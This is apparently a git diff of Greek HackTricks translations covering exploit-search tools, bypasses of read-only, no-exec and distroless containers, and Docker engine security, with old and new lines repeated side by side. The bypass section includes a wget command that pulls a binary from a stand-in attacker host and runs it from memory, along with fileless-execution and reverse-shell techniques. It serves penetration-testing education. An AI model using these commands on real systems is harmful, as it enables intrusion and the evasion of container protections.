<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -1,32 +1,32 @@
# Αναζήτηση Εκμεταλλεύσεων
# Αναζήτηση Εκμετάλλευσης
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
### Περιηγητής
Αναζητήστε πάντα στο "google" ή σε άλλους: **\<όνομα\_υπηρεσίας> \[έκδοση] exploit**
Αναζητήστε πάντα στο "google" ή σε άλλους: **\<service\_name> \[version] exploit**
Θα πρέπει επίσης να δοκιμάσετε την **αναζήτηση εκμεταλλεύσεων shodan** από το [https://exploits.shodan.io/](https://exploits.shodan.io).
Θα πρέπει επίσης να δοκιμάσετε την αναζήτηση εκμετάλλευσης **shodan** από [https://exploits.shodan.io/](https://exploits.shodan.io).
### Searchsploit
@ -42,7 +42,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result
```
### Pompem
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) είναι ένα ακόμα εργαλείο για την αναζήτηση εκμεταλλεύσεων
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) είναι ένα ακόμα εργαλείο για την αναζήτηση εκμετάλλευσης
### MSF-Search
```bash
@ -50,7 +50,7 @@ msf> search platform:windows port:135 target:XP type:exploit
```
### PacketStorm
Εάν δεν βρεθεί τίποτα, δοκιμάστε να αναζητήσετε τη χρησιμοποιούμενη τεχνολογία στο [https://packetstormsecurity.com/](https://packetstormsecurity.com)
Αν δεν βρείτε τίποτα, δοκιμάστε να αναζητήσετε τη χρησιμοποιούμενη τεχνολογία στο [https://packetstormsecurity.com/](https://packetstormsecurity.com)
### Vulners
@ -60,24 +60,24 @@ msf> search platform:windows port:135 target:XP type:exploit
Αυτό αναζητά εκμεταλλεύσεις σε άλλες βάσεις δεδομένων: [https://sploitus.com/](https://sploitus.com)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο **προηγμένα εργαλεία** της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -14,17 +14,17 @@
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέβατο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και το χάκαρισμα του αδύνατου - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
{% embed url="https://www.stmcyber.com/careers" %}
## Βίντεο
Στα παρακάτω βίντεο μπορείτε να βρείτε τις τεχνικές που αναφέρονται σε αυτήν τη σελίδα εξηγημένες πιο λεπτομερώς:
Στα παρακάτω βίντεο μπορείτε να βρείτε τεχνικές που αναφέρονται σε αυτήν τη σελίδα εξηγημένες πιο αναλυτικά:
* [**DEF CON 31 - Εξερευνώντας τη Μετασχηματισμό Μνήμης Linux για Κρυψώνεια και Αποφυγή**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**DEF CON 31 - Εξερευνώντας τη Μετασχηματισμό Μνήμης Linux για Κρυψώνες και Αποφυγή**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**Κρυφές εισβολές με το DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## Σενάριο μόνο για ανάγνωση / χωρίς εκτέλεση
@ -44,27 +44,27 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
Ωστόσο, ακόμη κι αν το σύστημα αρχείων είναι τοποθετημένο ως ro, το **`/dev/shm`** θα παραμείνει εγγράψιμο, οπότε είναι ψεύτικο ότι δεν μπορούμε να γράψουμε τίποτα στο δίσκο. Ωστόσο, αυτός ο φάκελος θα είναι **τοποθετημένος με προστασία χωρίς εκτέλεση**, οπότε αν κατεβάσετε ένα δυαδικό αρχείο εδώ **δεν θα μπορείτε να το εκτελέσετε**.
Ωστόσο, ακόμα κι αν το σύστημα αρχείων είναι τοποθετημένο ως ro, το **`/dev/shm`** θα παραμείνει εγγράψιμο, οπότε είναι ψεύτικο ότι δεν μπορούμε να γράψουμε τίποτα στο δίσκο. Ωστόσο, αυτός ο φάκελος θα είναι **τοποθετημένος με προστασία χωρίς εκτέλεση**, οπότε αν κατεβάσετε ένα δυαδικό αρχείο εδώ **δεν θα μπορείτε να το εκτελέσετε**.
{% hint style="warning" %}
Από την οπτική γωνία μιας κόκκινης ομάδας, αυτό κάνει **πιο περίπλοκη τη λήψη και εκτέλεση** δυαδικών που δεν υπάρχουν ήδη στο σύστημα (όπως backdoors ή enumerators όπως το `kubectl`).
Από την οπτική γωνία μιας κόκκινης ομάδας, αυτό κάνει **πιο περίπλοκο το να κατεβάσετε και να εκτελέσετε** δυαδικά που δεν υπάρχουν ήδη στο σύστημα (όπως backdoors ή enumerators όπως το `kubectl`).
{% endhint %}
## Ευκολότερη παράκαμψη: Σενάρια
Σημειώστε ότι αναφέρθηκα σε δυαδικά, μπορείτε να **εκτελέσετε οποιοδήποτε σενάριο** όσο το διερμηνέας βρίσκεται μέσα στη μηχανή, όπως ένα **shell script** αν το `sh` είναι παρόν ή ένα **σενάριο python** αν έχει εγκατασταθεί το `python`.
Σημειώστε ότι ανέφερα δυαδικά, μπορείτε να **εκτελέσετε οποιοδήποτε σενάριο** όσο το διερμηνέας βρίσκεται μέσα στη μηχανή, όπως ένα **shell script** αν το `sh` είναι παρόν ή ένα **σενάριο python** αν έχει εγκατασταθεί το `python`.
Ωστόσο, αυτό δεν είναι αρκετό μόνο για να εκτελέσετε το δυαδικό backdoor σας ή άλλα δυαδικά εργαλεία που ίσως χρειαστεί να τρέξετε.
## Παρακάμψεις Μνήμης
Αν θέλετε να εκτελέσετε ένα δυαδικό αλλά το σύστημα αρχείων δεν το επιτρέπει, ο καλύτερος τρόπος για να το κάνετε είναι με το **να το εκτελέσετε από τη μνήμη**, καθώς οι **προστασίες δεν ισχύουν εκεί**.
Αν θέλετε να εκτελέσετε ένα δυαδικό αλλά το σύστημα αρχείων δεν το επιτρέπει, ο καλύτερος τρόπος να το κάνετε είναι με το **να το εκτελέσετε από τη μνήμη**, καθώς οι **προστασίες δεν ισχύουν εκεί**.
### Παράκαμψη FD + exec syscall
Αν έχετε ισχυρούς μηχανισμούς σεναρίων μέσα στη μηχανή, όπως **Python**, **Perl** ή **Ruby**, μπορείτε να κατεβάσετε το δυαδικό για εκτέλεση από τη μνήμη, να το αποθηκεύσετε σε έναν περιγραφέα αρχείου μνήμης (`create_memfd` syscall), ο οποίος δεν θα προστατεύεται από αυτές τις προστασίες, και στη συνέχεια να καλέσετε ένα **`exec` syscall** δείχνοντας το **fd ως το αρχείο προς εκτέλεση**.
Για αυτό μπορείτε εύκολα να χρησιμοποιήσετε το έργο [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Μπορείτε να του περάσετε ένα δυαδικό και θα δημιουργήσει ένα σενάριο στην καθορισμένη γλώσσα με το **δυαδικό συμπιεσμένο και κωδικοποιημένο σε b64** με τις οδηγίες για το **αποκωδικοποίηση και αποσυμπίεση** του σε ένα **fd** που δημιουργείται καλώντας το syscall `create_memfd` και μια κλήση στο **exec** syscall για να το εκτελέσει.
Για αυτό μπορείτε εύκολα να χρησιμοποιήσετε το έργο [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Μπορείτε να του περάσετε ένα δυαδικό και θα δημιουργήσει ένα σενάριο στην καθορισμένη γλώσσα με το **δυαδικό συμπιεσμένο και κωδικοποιημένο σε b64** με οδηγίες για το **αποκωδικοποίηση και αποσυμπίεση** του σε ένα **fd** που δημιουργείται καλώντας την κλήση συστήματος `create_memfd` και μια κλήση στο **exec** syscall για να το εκτελέσει.
{% hint style="warning" %}
Αυτό δεν λειτουργεί σε άλλες γλώσσες σεναρίων όπως PHP ή Node επειδή δεν έχουν κανέναν **προεπιλεγμένο τρόπο να καλέσουν raw syscalls** από ένα σενάριο, οπότε δεν είναι δυνατό να καλέσουν το `create_memfd` για να δημιουργήσουν το **fd μνήμης** για να αποθηκεύσουν το δυαδικό.
@ -74,12 +74,12 @@ securityContext:
### DDexec / EverythingExec
Το [**DDexec / EverythingExec**](https://github.com/arget13/DDexec) είναι μια τεχνική που σας επιτρέπει να **τροποποιήσετε τη μνήμη της δικής σας διεργασίας** με το να αντικαθιστάτε το **`/proc/self/mem`** της.
Το [**DDexec / EverythingExec**](https://github.com/arget13/DDexec) είναι μια τεχνική που σάς επιτρέπει να **τροποποιήσετε τη μνήμη της δικής σας διεργασίας** με το να αντικαθιστάτε το **`/proc/self/mem`** της.
Έτσι, **ελέγχοντας τον κώδικα συναρμολόγησης** που εκτελείται από τη διεργασία, μπορείτε να γράψετε ένα **shellcode** και "μεταλλάσσετε" τη διεργασία για να **εκτελέσετε οποιοδήποτε αυθαίρετο κώδικα**.
{% hint style="success" %}
Το **DDexec / EverythingExec** θα σας επιτρέψει να φορτώσετε και **να εκτελέσετε** το δικό σας **shellcode** ή **οποιοδήποτε δυαδικό** από τη **μνήμη**.
Το **DDexec / EverythingExec** θα σας επιτρέψει να φορτώσετε και να **εκτελέσετε** το δικό σας **shellcode** ή **οποιοδήποτε δυαδικό** από τη **μνήμη**.
{% endhint %}
```bash
# Basic example
@ -87,40 +87,40 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
```
### MemExec
[**Memexec**](https://github.com/arget13/memexec) είναι το φυσικό επόμενο βήμα του DDexec. Είναι ένα **DDexec shellcode demonised**, οπότε κάθε φορά που θέλετε να **εκτελέσετε ένα διαφορετικό δυαδικό αρχείο** δεν χρειάζεται να ξαναξεκινήσετε το DDexec, μπορείτε απλά να εκτελέσετε το shellcode του memexec μέσω της τεχνικής DDexec και στη συνέχεια **να επικοινωνήσετε με αυτό το δαίμονα για να περάσετε νέα δυαδικά αρχεία για φόρτωση και εκτέλεση**.
[**Memexec**](https://github.com/arget13/memexec) είναι το φυσικό επόμενο βήμα του DDexec. Είναι ένα **DDexec shellcode demonised**, οπότε κάθε φορά που θέλετε να **εκτελέσετε ένα διαφορετικό δυαδικό** δεν χρειάζεται να ξαναξεκινήσετε το DDexec, μπορείτε απλά να εκτελέσετε το shellcode memexec μέσω της τεχνικής DDexec και στη συνέχεια **να επικοινωνήσετε με αυτό το δαίμονα για να περάσετε νέα δυαδικά για φόρτωση και εκτέλεση**.
Μπορείτε να βρείτε ένα παράδειγμα για το πώς να χρησιμοποιήσετε το **memexec για να εκτελέσετε δυαδικά αρχεία από ένα αντίστροφο κέλυφος PHP** στο [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
Μπορείτε να βρείτε ένα παράδειγμα για το πώς να χρησιμοποιήσετε το **memexec για να εκτελέσετε δυαδικά από ένα αντίστροφο κέλυφος PHP** στο [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
### Memdlopen
Με παρόμοιο σκοπό με το DDexec, η τεχνική [**memdlopen**](https://github.com/arget13/memdlopen) επιτρέπει έναν **ευκολότερο τρόπο φόρτωσης δυαδικών αρχείων** στη μνήμη για να τα εκτελέσετε αργότερα. Μπορεί ακόμη να επιτρέψει τη φόρτωση δυαδικών αρχείων με εξαρτήσεις.
Με παρόμοιο σκοπό με το DDexec, η τεχνική [**memdlopen**](https://github.com/arget13/memdlopen) επιτρέπει έναν **ευκολότερο τρόπο φόρτωσης δυαδικών** στη μνήμη για να τα εκτελέσετε αργότερα. Μπορεί ακόμη να επιτρέψει τη φόρτωση δυαδικών με εξαρτήσεις.
## Διασπορά Bypass
## Διάβρωση Distroless
### Τι είναι το distroless
Τα δοχεία distroless περιέχουν μόνο τα **απαραίτητα ελάχιστα στοιχεία για να εκτελέσουν μια συγκεκριμένη εφαρμογή ή υπηρεσία**, όπως βιβλιοθήκες και εξαρτήσεις χρόνου εκτέλεσης, αλλά εξαιρούν μεγαλύτερα στοιχεία όπως έναν διαχειριστή πακέτων, κέλυφος ή διατηρητές συστήματος.
Τα δοχεία Distroless περιέχουν μόνο τα **απαραίτητα ελάχιστα στοιχεία που απαιτούνται για την εκτέλεση μιας συγκεκριμένης εφαρμογής ή υπηρεσίας**, όπως βιβλιοθήκες και εξαρτήσεις χρόνου εκτέλεσης, αλλά εξαιρούν μεγαλύτερα στοιχεία όπως ένας διαχειριστής πακέτων, κέλυφος ή διατηρητές συστήματος.
Ο στόχος των δοχείων distroless είναι να **μειώσουν την επιφάνεια επίθεσης των δοχείων εξαλείφοντας τα περιττά στοιχεία** και μειώνοντας τον αριθμό των ευπαθειών που μπορούν να εκμεταλλευτούν.
Ο στόχος των δοχείων Distroless είναι να **μειώσουν την επιφάνεια επίθεσης των δοχείων εξαλείφοντας τα περιττά στοιχεία** και μειώνοντας τον αριθμό των ευπαθειών που μπορούν να εκμεταλλευτούν.
### Αντίστροφο Κέλυφος
Σε ένα δοχείο distroless ενδέχεται να **μην βρείτε ούτε το `sh` ούτε το `bash`** για να πάρετε ένα κανονικό κέλυφο. Δεν θα βρείτε επίσης δυαδικά όπως το `ls`, `whoami`, `id`... όλα όσα συνήθως εκτελείτε σε ένα σύστημα.
Σε ένα δοχείο Distroless ενδέχεται να **μην βρείτε ούτε το `sh` ούτε το `bash`** για να λάβετε ένα κανονικό κέλυφο. Δεν θα βρείτε επίσης δυαδικά όπως `ls`, `whoami`, `id`... όλα όσα συνήθως εκτελείτε σε ένα σύστημα.
{% hint style="warning" %}
Επομένως, **δεν** θα μπορείτε να πάρετε ένα **αντίστροφο κέλυφος** ή να **απαριθμήσετε** το σύστημα όπως συνήθως κάνετε.
Συνεπώς, **δεν** θα μπορέσετε να λάβετε ένα **αντίστροφο κέλυφος** ή να **απαριθμήσετε** το σύστημα όπως συνήθως κάνετε.
{% endhint %}
Ωστόσο, αν το υποβαθμισμένο δοχείο εκτελεί, για παράδειγμα, έναν ιστό flask, τότε το python είναι εγκατεστημένο, και μπορείτε να αποκτήσετε ένα **αντίστροφο κέλυφος Python**. Αν εκτελείτε node, μπορείτε να αποκτήσετε ένα Node αντίστροφο κέλυφο, και το ίδιο με σχεδόν οποιαδήποτε **γλώσσα σεναρίωσης**.
Ωστόσο, αν το περιορισμένο δοχείο εκτελεί, για παράδειγμα, έναν ιστό flask, τότε το python είναι εγκατεστημένο, και συνεπώς μπορείτε να αποκτήσετε ένα **αντίστροφο κέλυφος Python**. Αν εκτελείτε node, μπορείτε να αποκτήσετε ένα Node αντίστροφο κέλυφο, και το ίδιο με σχεδόν οποιαδήποτε **γλώσσα σεναρίωσης**.
{% hint style="success" %}
Χρησιμοποιώντας τη γλώσσα σεναρίωσης μπορείτε να **απαριθμήσετε το σύστημα** χρησιμοποιώντας τις δυνατότητες της γλώσσας.
{% endhint %}
Αν δεν υπάρχουν **προστασίες `read-only/no-exec`** μπορείτε να καταχραστείτε το αντίστροφο κέλυφός σας για να **γράψετε στο σύστημα αρχεία δυαδικών** και να τα **εκτελέσετε**.
Αν δεν υπάρχουν **προστασίες `read-only/no-exec`** μπορείτε να καταχραστείτε το αντίστροφο κέλυφός σας για να **γράψετε στο σύστημα αρχείων τα δυαδικά σας** και να τα **εκτελέσετε**.
{% hint style="success" %}
Ωστόσο, σε αυτού του είδους τα δοχεία αυτές οι προστασίες συνήθως υπάρχουν, αλλά μπορείτε να χρησιμοποιήσετε τις **προηγούμενες τεχνικές εκτέλεσης μνήμης για να τις παρακάμψετε**.
{% endhint %}
Μπορείτε να βρείτε **παραδείγματα** για το **εκμετάλλευση ορισμένων ευπαθειών RCE** για να αποκτήσετε **αντίστροφα κέλυφα γλωσσών σεναρίωσης** και να εκτελέσετε δυαδικά από τη μνήμη στο [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
Μπορείτε να βρείτε **παραδείγματα** για το **εκμετάλλευση ορισμένων ευπαθειών RCE** για να λάβετε αντίστροφα κέλυφα γλωσσών σεναρίωσης και να εκτελέσετε δυαδικά από τη μνήμη στο [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε AWS hacking από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -10,11 +10,11 @@
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
@ -24,7 +24,7 @@
## **Βασική Ασφάλεια του Docker Engine**
Το **Docker engine** χρησιμοποιεί τα **Namespaces** και **Cgroups** του πυρήνα του Linux για την απομόνωση των containers, προσφέροντας ένα βασικό επίπεδο ασφάλειας. Επιπλέον προστασία παρέχεται μέσω της **απόρριψης δυνατοτήτων (Capabilities dropping)**, του **Seccomp**, και του **SELinux/AppArmor**, ενισχύοντας την απομόνωση των containers. Ένα **πρόσθετο πιστοποίησης (auth plugin)** μπορεί να περιορίσει περαιτέρω τις ενέργειες του χρήστη.
Το **Docker engine** χρησιμοποιεί τα **Namespaces** και **Cgroups** του πυρήνα του Linux για να απομονώσει τα containers, προσφέροντας ένα βασικό επίπεδο ασφάλειας. Επιπλέον προστασία παρέχεται μέσω της πτώσης των **Δυνατοτήτων (Capabilities)**, του **Seccomp**, και του **SELinux/AppArmor**, ενισχύοντας την απομόνωση των containers. Ένα **πρόσθετο πιστοποίησης (auth plugin)** μπορεί να περιορίσει περαιτέρω τις ενέργειες του χρήστη.
![Ασφάλεια Docker](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
@ -32,21 +32,21 @@
Το Docker engine μπορεί να προσπελαστεί είτε τοπικά μέσω ενός Unix socket είτε απομακρυσμένα χρησιμοποιώντας HTTP. Για την απομακρυσμένη πρόσβαση, είναι απαραίτητο να χρησιμοποιηθεί το HTTPS και το **TLS** για να διασφαλιστεί η εμπιστευτικότητα, η ακεραιότητα και η ταυτοποίηση.
Το Docker engine, από προεπιλογή, ακούει στο Unix socket στη διεύθυνση `unix:///var/run/docker.sock`. Στα συστήματα Ubuntu, οι επιλογές εκκίνησης του Docker ορίζονται στο `/etc/default/docker`. Για να επιτρέψετε την απομακρυσμένη πρόσβαση στο API και τον πελάτη του Docker, εκθέστε τον δαίμονα του Docker μέσω ενός socket HTTP προσθέτοντας τις παρακάτω ρυθμίσεις:
Το Docker engine, από προεπιλογή, ακούει στο Unix socket στη διεύθυνση `unix:///var/run/docker.sock`. Στα συστήματα Ubuntu, οι επιλογές εκκίνησης του Docker καθορίζονται στο `/etc/default/docker`. Για να επιτρέψετε την απομακρυσμένη πρόσβαση στο API και τον πελάτη του Docker, εκθέστε τον δαίμονα του Docker μέσω ενός socket HTTP προσθέτοντας τις παρακάτω ρυθμίσεις:
```bash
